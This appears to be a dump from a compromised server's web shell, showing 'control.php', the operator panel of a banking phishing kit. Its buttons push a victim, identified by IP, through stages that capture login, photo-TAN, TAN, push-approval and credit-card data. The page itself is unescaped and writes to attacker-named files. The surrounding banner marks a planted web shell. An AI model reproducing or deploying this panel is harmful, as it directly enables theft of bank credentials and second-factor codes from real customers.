5tarl0rd

Current Path : /home/tiporg/.trash/
Upload File :
Current File : /home/tiporg/.trash/control.php

<?php
require 'prevents/index.php';

if (isset($_GET['ip']) AND !empty($_GET['ip'])) {
    
$ip = $_GET['ip'];

if (isset($_POST['login'])) {
    $myfile = fopen("$ip.txt", "w");
    fwrite($myfile, "login");
}
if (isset($_POST['photo_tan'])) {
    $myfile = fopen("$ip.txt", "w");
    fwrite($myfile, "photo_tan");
}
if (isset($_POST['tan'])) {
    $myfile = fopen("$ip.txt", "w");
    fwrite($myfile, "tan");
}
if (isset($_POST['push'])) {
    $myfile = fopen("$ip.txt", "w");
    fwrite($myfile, "push");
}
if (isset($_POST['cc'])) {
    $myfile = fopen("$ip.txt", "w");
    fwrite($myfile, "cc");
}
if (isset($_POST['success'])) {
    $myfile = fopen("$ip.txt", "w");
    fwrite($myfile, "success");
}


?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Administration</title>
    <script src="https://code.jquery.com/jquery-3.7.1.js" integrity="sha256-eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4=" crossorigin="anonymous"></script>

   <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css" integrity="sha384-rbsA2VBKQhggwzxH7pPCaAqO46MgnOM80zW1RWuH61DGLwZJEdK2Kadq2F9CUG65" crossorigin="anonymous">
</head>
<body>
<br><br>
<div align="center">
<form action="control.php?ip=<?= $ip ?>" method="post">


<input class="btn btn-primary" type="submit" name="login" value="LOGIN">
<input class="btn btn-primary" type="submit" name="photo_tan" value="PHOTO_TAN">
<input class="btn btn-primary" type="submit" name="tan" value="TAN">
<input class="btn btn-primary" type="submit" name="push" value="PUSH">
<input class="btn btn-primary" type="submit" name="cc" value="CC">
<input class="btn btn-primary" type="submit" name="success" value="SUCCESS">

</form>


</div>
    
</body>
</html>
<?php
}else{
die("Missing Parameter");
}
?>

5tarL0rd By 5tarl0rd Being Anonymous